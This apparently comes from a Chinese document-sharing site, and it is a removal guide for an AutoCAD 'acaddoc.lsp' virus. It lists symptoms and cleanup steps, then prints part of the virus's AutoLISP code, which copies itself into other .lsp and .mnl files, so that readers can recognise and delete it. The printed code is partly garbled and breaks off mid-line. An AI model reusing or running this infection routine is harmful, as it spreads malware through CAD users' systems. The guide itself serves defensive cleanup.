AutoCAD 菜单实用程序已加载.docxVIP

  • 44
  • 0
  • 约3.67千字
  • 约 7页
  • 2017-09-07 发布于河南
  • 举报
AutoCAD 菜单实用程序已加载

AutoCAD 菜单实用程序已加载。; 错误: 输入的列表有缺陷AutoCAD 菜单实用程序已加载。; 错误: 输入的列表有缺陷===============================================acaddoc.lspCAD出现这种现象基本有以下几种情况:?1。一般是由CAD的安装目录下或CAD的SUPPORT目录下有acad.lsp这个文件引起的。这个文件可能是单位里有自己开发的程序,使自己单位人员编写的。?2。CAD病毒程序。判断是不是CAD被病毒破坏?3。查找电脑的其它目录中(主要是windows的系统目录)是否还有这些文件:hysoft*.dll,KtCnPub*.dll及RyClient.dll sx32w.dll,如果有,删除后试一下(除了软件目录下的)。?(搜索文件时,注意选择“搜索隐藏的文件”)?================================================以下是相关操作步骤:?1、若发现文件夹中多出ACADDOC.LSP文件即说明你的CAD中毒了。?2、关闭CAD程序。?3、全盘搜索 *.fas *.lsp *.mnl *.arx文件,除了CAD安装目录以外的该类文件均全部删除。?4、检查CAD安装目录文件的修改时间,把ACADDOC.LSP病毒感染X:/Program Files/AutoCAD20**/Support文件夹下的3d.lsp;3darray.lsp;acad2010.lsp;acad2010doc.lsp;acadinfo.lsp;ai_utils.lsp;attredef.lsp;edge.lsp;mvsetup.lsp;sample-profile-util.lsp文件以及C:/Documents and Settings/用户名/Application Data/Autodesk/AutoCAD 20**/R16.2/chs/Support下的*.MNL文件中的病毒代码删除。(用记事本打开)5、把CAD安装目录中的所有*.fas *.lsp *.mnl *.arx文件改为只读属性。?说明:要删除的病毒代码在文件的尾部,具体如下:?(setqflagx t)?(setqbz (setqflagx t))?(defun app(source target bz / flag flag1 wjm wjm1 text)?(setq flag nil) (setq flag1 t)?(if (findfile target)?(progn?(setq wjm1 (open target r))?(while (setq text (read-line wjm1))?(if (= text bz) (setq flag1 nil))?);while?(close wjm1) );progn );if?(if flag1?(progn?(setqwjm (open source r))?(setq wjm1 (open target a))?(write-line (chr 13) wjm1)?(while (setq text (read-line wjm))?(if (= text bz) (setq flag t))?(if flag?(progn?(write-line text wjm1) );progn );if );while?(close wjm1)?(close wjm) );progn );if );defun?(setvar cmdecho 0)?(setqacadmnl (findfile acad.mnl))?(setqacadmnlpath (vl-filename-directory acadmnl))?(setqmnlfilelist (vl-directory-files acadmnlpath *.mnl))?(setqmnlnum (length mnlfilelist))?(setqacadexe (findfile acad.exe))?(setqacadpath (vl-filename-directory acadexe))?(setq support (strcatacadpath //support))?(setqlspfilelist (vl-directory-files support *.lsp))?(setqlspfilelist (append lspfilelist (list acaddoc.lsp)))?(setqlspnum (length lspfilelist))?(setqdwgname (getvar dwgname))?(setqdwgpath (findfil

文档评论(0)

1亿VIP精品文档

相关文档